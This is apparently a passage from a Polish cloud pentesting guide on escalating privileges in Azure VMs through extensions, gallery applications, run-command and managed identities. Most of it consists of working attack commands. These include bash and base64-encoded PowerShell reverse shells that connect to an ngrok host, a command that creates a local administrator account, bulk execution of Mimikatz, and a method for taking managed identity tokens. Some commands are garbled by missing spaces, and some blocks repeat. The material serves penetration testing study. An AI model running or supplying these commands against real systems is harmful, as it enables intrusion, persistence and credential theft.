To uprawnienie pozwala na wykonywanie rozszerzeń w maszynach wirtualnych, co pozwala na wykonywanie dowolnego kodu na nich.
Przykład nadużycia niestandardowych rozszerzeń do wykonywania dowolnych poleceń w VM:
Możesz również wykonać inne ładunki, takie jak: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
Zresetuj hasło za pomocą rozszerzenia VMAccess
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
Możliwe jest również nadużycie znanych rozszerzeń do wykonywania kodu lub przeprowadzania uprzywilejowanych działań wewnątrz VM:
Rozszerzenie VMAccess
To rozszerzenie pozwala na modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz Windows VM.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
To jest rozszerzenie VM, które należy do Microsoftu i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do wykonywania dowolnych poleceń w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę Automation Accounts.
To są wymagane uprawnienia do utworzenia nowej aplikacji w galerii i wykonania jej wewnątrz VM. Aplikacje w galerii mogą wykonywać cokolwiek, więc atakujący mógłby to wykorzystać do kompromitacji instancji VM wykonujących dowolne polecenia.
Ostatnie 2 uprawnienia mogą być unikane przez udostępnienie aplikacji najemcy.
Przykład wykorzystania do wykonywania dowolnych poleceń:
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt
Microsoft.Compute/virtualMachines/login/action
To uprawnienie pozwala użytkownikowi na logowanie się jako użytkownik do VM za pomocą SSH lub RDP (pod warunkiem, że uwierzytelnianie Entra ID jest włączone w VM).
Logowanie za pomocą SSH z az ssh vm --name <vm-name> --resource-group <rsc-group> oraz za pomocą RDP z użyciem zwykłych poświadczeń Azure.
To uprawnienie pozwala użytkownikowi na logowanie się jako użytkownik do VM za pomocą SSH lub RDP (pod warunkiem, że uwierzytelnianie Entra ID jest włączone w VM).
Logowanie za pomocą SSH z az ssh vm --name <vm-name> --resource-group <rsc-group> oraz za pomocą RDP z użyciem zwykłych poświadczeń Azure.
Wszystkie te uprawnienia są niezbędne do utworzenia VM z określoną zarządzaną tożsamością i pozostawienia otwartego portu (22 w tym przypadku). Umożliwia to użytkownikowi utworzenie VM i połączenie się z nią oraz kradzież tokenów zarządzanej tożsamości w celu eskalacji uprawnień.
W zależności od sytuacji może być potrzebne więcej lub mniej uprawnień do nadużycia tej techniki.
azvmcreate \--resource-group Resource_Group_1 \--name cli_vm \--image Ubuntu2204 \--admin-username azureuser \--generate-ssh-keys \--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \--nsg-rule ssh \--location "centralus"# By default pub key from ~/.ssh is used (if none, it's generated there)
Te uprawnienia są wystarczające, aby przypisać nowe zarządzane tożsamości do maszyny wirtualnej. Należy zauważyć, że maszyna wirtualna może mieć kilka zarządzanych tożsamości. Może mieć przypisaną systemowo, oraz wiele tożsamości zarządzanych przez użytkownika.
Następnie, z usługi metadanych możliwe jest generowanie tokenów dla każdej z nich.
# Get currently assigned managed identities to the VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Assign several managed identities to a VMazvmidentityassign \--resource-group <rsc-group> \--name <vm-name> \--identities \/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
Następnie atakujący musi w jakiś sposób skompromitować VM, aby ukraść tokeny z przypisanych zarządzanych tożsamości. Sprawdź więcej informacji w:
Zgodnie z dokumentacją, ta uprawnienie pozwala zarządzać systemem operacyjnym zasobu za pomocą Windows Admin Center jako administrator. Wygląda na to, że to daje dostęp do WAC w celu kontrolowania VM...